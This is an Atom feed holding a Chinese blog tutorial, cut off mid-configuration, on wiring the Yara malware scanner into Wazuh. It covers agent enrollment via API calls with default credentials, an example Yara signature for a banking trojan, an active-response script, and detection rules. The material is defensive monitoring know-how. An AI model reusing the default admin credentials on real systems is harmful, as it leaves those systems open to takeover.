<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Extraderの博客</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://www.extrader.top/"/>
  <updated>2022-08-01T12:57:45.268Z</updated>
  <id>https://www.extrader.top/</id>
  
  <author>
    <name>Extrader</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Wazuh集成Yara小记</title>
    <link href="https://www.extrader.top/posts/b43325a7/"/>
    <id>https://www.extrader.top/posts/b43325a7/</id>
    <published>2022-08-01T12:00:00.000Z</published>
    <updated>2022-08-01T12:57:45.268Z</updated>
    
    <content type="html"><![CDATA[<h3 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h3><p>系统环境全都是CentOS 7.9</p><p>我们主要目的是在Wazuh上测试Yara，所以选择最快的部署方式</p><p>Manager的部署直接使用官方现有的ova文件导入虚拟机，参考<a href="https://documentation.wazuh.com/current/deployment-options/virtual-machine/virtual-machine.html">Virtual Machine (OVA)</a></p><p>部署好之后我们直接访问虚拟机的ip地址即可，默认账号密码admin/admin，如果页面没加载出来只显示一行英文，尝试启动<code>wazuh-indexer</code>，<code>systemctl start wazuh-indexer</code>。</p><p>登录后在Agent面板有个Deploy new agent按钮，一台agent都没有的显示的直接就是这个界面，在里面选择需要装agent的endpoint的选项，组默认default，然后复制后面的命令到endpoint里执行就可以了。</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token assign-left variable">WAZUH_MANAGER</span><span class="token operator">=</span><span class="token string">'192.168.88.135'</span> <span class="token assign-left variable">WAZUH_AGENT_GROUP</span><span class="token operator">=</span><span class="token string">'default'</span> yum <span class="token function">install</span> https://packages.wazuh.com/4.x/yum/wazuh-agent-4.3.6-1.x86_64.rpm</code></pre><p>这里补充一个agent注册方法，当我们需要在一台已经装了agent的endpoint上重新连接新的manager的时候，可以参考<a href="https://documentation.wazuh.com/current/user-manual/agent-enrollment/via-manager-API/requesting-the-key.html">Requesting the key</a> ，使用密钥的方式。</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">TOKEN</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token function">curl</span> -u wazuh:wazuh -k -X GET <span class="token string">"https://192.168.88.135:55000/security/user/authenticate?raw=true"</span><span class="token variable">)</span></span><span class="token function">curl</span> -k -X POST -d <span class="token string">'&#123;"name":"k8smaster"&#125;'</span> <span class="token string">"https://192.168.88.135:55000/agents?pretty=true"</span> -H <span class="token string">"Content-Type:application/json"</span> -H <span class="token string">"Authorization: Bearer <span class="token variable">$TOKEN</span>"</span></code></pre><p>请求后会返回一个Key，我们在endpoint上执行<code>/var/ossec/bin/manage_agents -i &lt;key&gt;</code></p><p>然后再重启agent，<code>systemctl restart wazuh-agent</code>，就可以与manager连接。</p><h3 id="Wazuh集成Yara"><a href="#Wazuh集成Yara" class="headerlink" title="Wazuh集成Yara"></a>Wazuh集成Yara</h3><p>可以参考官方文档的集成Yara功能</p><p><a href="https://documentation.wazuh.com/current/proof-of-concept-guide/detect-malware-yara-integration.html">Detecting malware using Yara integration</a></p><p><a href="https://documentation.wazuh.com/current/user-manual/capabilities/active-response/ar-use-cases/wazuh-with-yara.html">How to integrate Wazuh with YARA</a></p><p>这里对过程进行简要的记录</p><h4 id="EndPoint配置"><a href="#EndPoint配置" class="headerlink" title="EndPoint配置"></a>EndPoint配置</h4><p>Yara部署可以参考 <a href="https://yara.readthedocs.io/en/stable/gettingstarted.html">Compiling and installing YARA</a>，注意这个仅需要在endpoint上安装即可</p><p>我们需要使用jq对wazuh的<code>active-response</code>功能所输出的json进行解析来传入我们的脚本</p><p>于是需要在endpoint上安装jq，jq找不到参考  <a href="https://www.cnblogs.com/CaptainLin/p/7064520.html">centos7 yum 安装jq</a>，命令如下</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm<span class="token function">rpm</span> -ivh epel-release-latest-7.noarch.rpmyum repolistyum <span class="token function">install</span> jq</code></pre><p>我们使用yara官方开源的rule <a href="https://github.com/Yara-Rules/rules">Yara-Rules</a> 来测试yara功能是否能正常使用</p><p>yara命令参考：<code>yara /home/yara/rules/index.yar /home/yara/malware/1.txt</code></p><p>测试会报错，显示规则文件中的一些函数不可用，到<code>index.yar</code>文件编辑，只留下webshell的include，其它的都注释掉或者删掉，然后我们添加一条自己的规则（如下），include到index.yar文件中去</p><pre class="language-none"><code class="language-none">rule silent_banker : banker&#123;    meta:        description &#x3D; &quot;This is just an example&quot;        thread_level &#x3D; 3        in_the_wild &#x3D; true    strings:        $a &#x3D; &#123;6A 40 68 00 30 00 00 6A 14 8D 91&#125;        $b &#x3D; &#123;8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9&#125;        $c &#x3D; &quot;UVODFRYSIHLNWPEJXQZAKCBGMT&quot;$d &#x3D; &#123;4D 5A&#125;    condition:        $a or $b or $c or $d&#125;</code></pre><p>测试会正常输出检测到的文件，</p><p>添加一个<code>yara.sh</code>脚本到<code>/var/ossec/active-response/bin</code>目录下</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token comment"># Wazuh - Yara active response</span><span class="token comment"># Copyright (C) 2015-2022, Wazuh Inc.</span><span class="token comment">#</span><span class="token comment"># This program is free software; you can redistribute it</span><span class="token comment"># and/or modify it under the terms of the GNU General Public</span><span class="token comment"># License (version 2) as published by the FSF - Free Software</span><span class="token comment"># Foundation.</span><span class="token comment">#------------------------- Gather parameters -------------------------#</span><span class="token comment"># Static active response parameters</span><span class="token assign-left variable">LOCAL</span><span class="token operator">=</span><span class="token variable"><span class="token variable">`</span><span class="token function">dirname</span> $0<span class="token variable">`</span></span><span class="token comment"># Extra arguments</span><span class="token builtin class-name">read</span> -r INPUT_JSON<span class="token assign-left variable">YARA_PATH</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> $INPUT_JSON <span class="token operator">|</span> jq -r .parameters.extra_args<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token variable">)</span></span><span class="token assign-left variable">YARA_RULES</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> $INPUT_JSON <span class="token operator">|</span> jq -r .parameters.extra_args<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token variable">)</span></span><span class="token assign-left variable">FILENAME</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> $INPUT_JSON <span class="token operator">|</span> jq -r .parameters.alert.syscheck.path<span class="token variable">)</span></span><span class="token assign-left variable">COMMAND</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> $INPUT_JSON <span class="token operator">|</span> jq -r .command<span class="token variable">)</span></span><span class="token comment"># Move to the active response folder</span><span class="token builtin class-name">cd</span> <span class="token variable">$LOCAL</span><span class="token builtin class-name">cd</span> <span class="token punctuation">..</span>/<span class="token comment"># Set LOG_FILE path</span><span class="token assign-left variable"><span class="token environment constant">PWD</span></span><span class="token operator">=</span><span class="token variable"><span class="token variable">`</span><span class="token builtin class-name">pwd</span><span class="token variable">`</span></span><span class="token assign-left variable">LOG_FILE</span><span class="token operator">=</span><span class="token string">"<span class="token variable">$&#123;<span class="token environment constant">PWD</span>&#125;</span>/../logs/active-responses.log"</span><span class="token comment">#----------------------- Analyze parameters -----------------------#</span><span class="token keyword">if</span> <span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token operator">!</span> <span class="token variable">$YARA_PATH</span> <span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token operator">!</span> <span class="token variable">$YARA_RULES</span> <span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token keyword">then</span>  <span class="token builtin class-name">echo</span> <span class="token string">"wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory."</span> <span class="token operator">>></span> <span class="token variable">$&#123;LOG_FILE&#125;</span>  <span class="token builtin class-name">exit</span><span class="token keyword">fi</span><span class="token comment">#------------------------ Analyze command -------------------------#</span><span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token variable">$&#123;COMMAND&#125;</span> <span class="token operator">=</span> <span class="token string">"add"</span> <span class="token punctuation">]</span><span class="token keyword">then</span>  <span class="token comment"># Send control message to execd</span>  <span class="token builtin class-name">printf</span> <span class="token string">'&#123;"version":1,"origin":&#123;"name":"yara","module":"active-response"&#125;,"command":"check_keys", "parameters":&#123;"keys":[]&#125;&#125;\n'</span>  <span class="token builtin class-name">read</span> RESPONSE  <span class="token assign-left variable">COMMAND2</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> $RESPONSE <span class="token operator">|</span> jq -r .command<span class="token variable">)</span></span>  <span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token variable">$&#123;COMMAND2&#125;</span> <span class="token operator">!=</span> <span class="token string">"continue"</span> <span class="token punctuation">]</span>  <span class="token keyword">then</span>    <span class="token builtin class-name">echo</span> <span class="token string">"wazuh-yara: INFO - Yara active response aborted."</span> <span class="token operator">>></span> <span class="token variable">$&#123;LOG_FILE&#125;</span>    <span class="token builtin class-name">exit</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">fi</span><span class="token keyword">fi</span><span class="token comment">#------------------------- Main workflow --------------------------#</span><span class="token comment"># Execute Yara scan on the specified filename</span><span class="token assign-left variable">yara_output</span><span class="token operator">=</span><span class="token string">"<span class="token variable"><span class="token variable">$(</span>"$<span class="token punctuation">&#123;</span>YARA_PATH<span class="token punctuation">&#125;</span><span class="token string">"/yara -w -r "</span>$YARA_RULES<span class="token string">" "</span>$FILENAME"<span class="token variable">)</span></span>"</span><span class="token keyword">if</span> <span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token variable">$yara_output</span> <span class="token operator">!=</span> <span class="token string">""</span> <span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token keyword">then</span>  <span class="token comment"># Iterate every detected rule and append it to the LOG_FILE</span>  <span class="token keyword">while</span> <span class="token builtin class-name">read</span> -r line<span class="token punctuation">;</span> <span class="token keyword">do</span>  <span class="token builtin class-name">echo</span> <span class="token string">"wazuh-yara: INFO - Scan result: <span class="token variable">$line</span>"</span> <span class="token operator">>></span> <span class="token variable">$&#123;LOG_FILE&#125;</span>  <span class="token keyword">done</span> <span class="token operator">&lt;&lt;&lt;</span> <span class="token string">"<span class="token variable">$yara_output</span>"</span><span class="token keyword">fi</span><span class="token builtin class-name">exit</span> <span class="token number">1</span><span class="token punctuation">;</span></code></pre><p>这个脚本的作用是为了响应<code>active-response</code>所编写的脚本，参考的json读取内容如下，注意这里低版本wazuh没有json输出给脚本文件读取，实测4.1.5无json输出，4.2.5可以</p><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"version"</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span>  <span class="token property">"origin"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>    <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"node01"</span><span class="token punctuation">,</span>    <span class="token property">"module"</span><span class="token operator">:</span><span class="token string">"wazuh-execd"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"command"</span><span class="token operator">:</span><span class="token string">"add"</span><span class="token punctuation">,</span>  <span class="token property">"parameters"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>    <span class="token property">"extra_args"</span><span class="token operator">:</span><span class="token punctuation">[</span><span class="token string">"-yara_path"</span><span class="token punctuation">,</span>                  <span class="token string">"/usr/local/bin"</span><span class="token punctuation">,</span>                  <span class="token string">"-yara_rules"</span><span class="token punctuation">,</span>                  <span class="token string">"/home/yara/rules/index.yar"</span><span class="token punctuation">]</span><span class="token punctuation">,</span>    <span class="token property">"alert"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>      <span class="token property">"timestamp"</span><span class="token operator">:</span><span class="token string">"2022-08-01T07:23:34.120+0000"</span><span class="token punctuation">,</span>      <span class="token property">"rule"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>        <span class="token property">"level"</span><span class="token operator">:</span><span class="token number">7</span><span class="token punctuation">,</span>        <span class="token property">"description"</span><span class="token operator">:</span><span class="token string">"File added to /home/yara/malware/ directory."</span><span class="token punctuation">,</span>        <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"100301"</span><span class="token punctuation">,</span>        <span class="token property">"firedtimes"</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span>        <span class="token property">"mail"</span><span class="token operator">:</span><span class="token boolean">false</span><span class="token punctuation">,</span>        <span class="token property">"groups"</span><span class="token operator">:</span><span class="token punctuation">[</span><span class="token string">"syscheck"</span><span class="token punctuation">]</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token property">"agent"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>        <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"002"</span><span class="token punctuation">,</span>        <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"k8smaster"</span><span class="token punctuation">,</span>        <span class="token property">"ip"</span><span class="token operator">:</span><span class="token string">"192.168.88.136"</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token property">"manager"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>        <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"wazuh-server"</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"1659338614.788337"</span><span class="token punctuation">,</span>      <span class="token property">"full_log"</span><span class="token operator">:</span><span class="token string">"File '/home/yara/malware/5.txt' added\nMode: whodata\n"</span><span class="token punctuation">,</span>      <span class="token property">"syscheck"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>        <span class="token property">"path"</span><span class="token operator">:</span><span class="token string">"/home/yara/malware/5.txt"</span><span class="token punctuation">,</span>        <span class="token property">"mode"</span><span class="token operator">:</span><span class="token string">"whodata"</span><span class="token punctuation">,</span>        <span class="token property">"size_after"</span><span class="token operator">:</span><span class="token string">"27"</span><span class="token punctuation">,</span>        <span class="token property">"perm_after"</span><span class="token operator">:</span><span class="token string">"rw-r--r--"</span><span class="token punctuation">,</span>        <span class="token property">"uid_after"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>        <span class="token property">"gid_after"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>        <span class="token property">"md5_after"</span><span class="token operator">:</span><span class="token string">"b0461abc874bd98d753a54fe83861cad"</span><span class="token punctuation">,</span>        <span class="token property">"sha1_after"</span><span class="token operator">:</span><span class="token string">"673d0c5490e051efa2d317f6fb08d26732a91a44"</span><span class="token punctuation">,</span>        <span class="token property">"sha256_after"</span><span class="token operator">:</span><span class="token string">"463e92b10416cfd4bfc402d1bf2dbda84f4a74db971dceede3cec07c3e4fef6d"</span><span class="token punctuation">,</span>        <span class="token property">"uname_after"</span><span class="token operator">:</span><span class="token string">"root"</span><span class="token punctuation">,</span>        <span class="token property">"gname_after"</span><span class="token operator">:</span><span class="token string">"root"</span><span class="token punctuation">,</span>        <span class="token property">"mtime_after"</span><span class="token operator">:</span><span class="token string">"2022-08-01T07:23:34"</span><span class="token punctuation">,</span>        <span class="token property">"inode_after"</span><span class="token operator">:</span><span class="token number">34679532</span><span class="token punctuation">,</span>        <span class="token property">"event"</span><span class="token operator">:</span><span class="token string">"added"</span><span class="token punctuation">,</span>        <span class="token property">"audit"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>          <span class="token property">"user"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>            <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>            <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"root"</span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>          <span class="token property">"process"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>            <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"21354"</span><span class="token punctuation">,</span>            <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"/usr/bin/cp"</span><span class="token punctuation">,</span>            <span class="token property">"cwd"</span><span class="token operator">:</span><span class="token string">"/home/yara/malware"</span><span class="token punctuation">,</span>            <span class="token property">"parent_name"</span><span class="token operator">:</span><span class="token string">"/usr/bin/bash"</span><span class="token punctuation">,</span>            <span class="token property">"parent_cwd"</span><span class="token operator">:</span><span class="token string">"/home/yara/malware"</span><span class="token punctuation">,</span>            <span class="token property">"ppid"</span><span class="token operator">:</span><span class="token string">"20631"</span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>          <span class="token property">"group"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>            <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>            <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"root"</span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>          <span class="token property">"login_user"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>            <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>            <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"root"</span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>          <span class="token property">"effective_user"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>            <span class="token property">"id"</span><span class="token operator">:</span><span class="token string">"0"</span><span class="token punctuation">,</span>            <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"root"</span>          <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token property">"decoder"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span>        <span class="token property">"name"</span><span class="token operator">:</span><span class="token string">"syscheck_new_entry"</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token property">"location"</span><span class="token operator">:</span><span class="token string">"syscheck"</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token property">"program"</span><span class="token operator">:</span><span class="token string">"active-response/bin/yara.sh"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>要想再<code>ossec.log</code>输出如上结果需要在<code>/var/ossec/etc/local_internal_options.conf</code> 中配置<code>execd.debug=2</code></p><p>这个脚本读取json随后将yara分析的结果以某种格式输出到<code>/var/ossec/logs/active-responses.log</code>文件中，参考格式如下</p><pre class="language-none"><code class="language-none">wazuh-yara: INFO - Scan result: silent_banker &#x2F;home&#x2F;yara&#x2F;malware&#x2F;5.txt</code></pre><p>还需要在endpoint中配置一个syscheck以表示需要wazuh监控该目录</p><pre class="language-none"><code class="language-none">&lt;directories whodata&#x3D;&quot;yes&quot;&gt;&#x2F;home&#x2F;yara&#x2F;malware&lt;&#x2F;directories&gt;</code></pre><p><code>whodata=&quot;yes&quot;</code>配置是否有效可以通过<code>auditctl -l | grep wazuh</code>检查，具体可参考官方<a href="https://documentation.wazuh.com/current/user-manual/capabilities/auditing-whodata/who-linux.html">Auditing who-data in Linux</a></p><p>每次修改<code>ossec.conf</code>都需要重启<code>wazuh-agent</code>才能生效，<code>systemctl restart wazuh-agent</code></p><p>至此Agent的配置就好了</p><h4 id="Manager配置"><a href="#Manager配置" class="headerlink" title="Manager配置"></a>Manager配置</h4><p>我们需要在Manager上配置<code>active-response</code>功能以主动响应</p><p>在<code>/var/ossec/etc/ossec.conf</code>中添加</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ossec_config</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>localfile</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>log_format</span><span class="token punctuation">></span></span>syslog<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>log_format</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>location</span><span class="token punctuation">></span></span>/var/ossec/logs/active-responses.log<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>location</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>localfile</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>command</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span>yara<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>executable</span><span class="token punctuation">></span></span>yara.sh<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>executable</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>extra_args</span><span class="token punctuation">></span></span>-yara_path /usr/local/bin -yara_rules /home/yara/rules/index.yar<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>extra_args</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>timeout_allowed</span><span class="token punctuation">></span></span>no<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>timeout_allowed</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>command</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>active-response</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>command</span><span class="token punctuation">></span></span>yara<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>command</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>location</span><span class="token punctuation">></span></span>local<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>location</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>rules_id</span><span class="token punctuation">></span></span>100300,100301<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>rules_id</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>active-response</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ossec_config</span><span class="token punctuation">></span></span></code></pre><p>修改<code>ossec.conf</code>的配置需要重启manager，<code>systemctl restart wazuh-manager</code></p><p>在<code>/var/ossec/etc/rules</code>目录下添加文件<code>yara_rules.xml</code>文件，内容如下</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>group</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>syscheck,<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>rule</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>100300<span class="token punctuation">"</span></span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>7<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>if_sid</span><span class="token punctuation">></span></span>550<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>if_sid</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>field</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>/home/yara/malware/<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>field</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>description</span><span class="token punctuation">></span></span>File modified in /home/yara/malware/ directory.<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>description</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>rule</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>rule</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>100301<span class="token punctuation">"</span></span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>7<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>if_sid</span><span class="token punctuation">></span></span>554<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>if_sid</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>field</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>/home/yara/malware/<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>field</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>description</span><span class="token punctuation">></span></span>File added to /home/yara/malware/ directory.<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>description</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>rule</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>group</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>group</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>yara,<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>rule</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>108000<span class="token punctuation">"</span></span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>0<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>decoded_as</span><span class="token punctuation">></span></span>yara_decoder<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>decoded_as</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>description</span><span class="token punctuation">></span></span>Yara grouping rule<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>description</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>rule</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>rule</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>108001<span class="token punctuation">"</span></span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>12<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>if_sid</span><span class="token punctuation">></span></span>108000<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>if_sid</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>match</span><span class="token punctuation">></span></span>wazuh-yara: INFO - Scan result: <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>match</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>description</span><span class="token punctuation">></span></span>File "$(yara_scanned_file)" is a positive match. Yara rule: $(yara_rule)<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>description</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>rule</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>group</span><span class="token punctuation">></span></span></code></pre><p>在<code>/var/ossec/etc/decoders</code>目录中添加文件<code>yara_decoders.xml</code>，内容如下</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>decoder</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>yara_decoder<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>prematch</span><span class="token punctuation">></span></span>wazuh-yara:<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>prematch</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>decoder</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>decoder</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>yara_decoder1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token 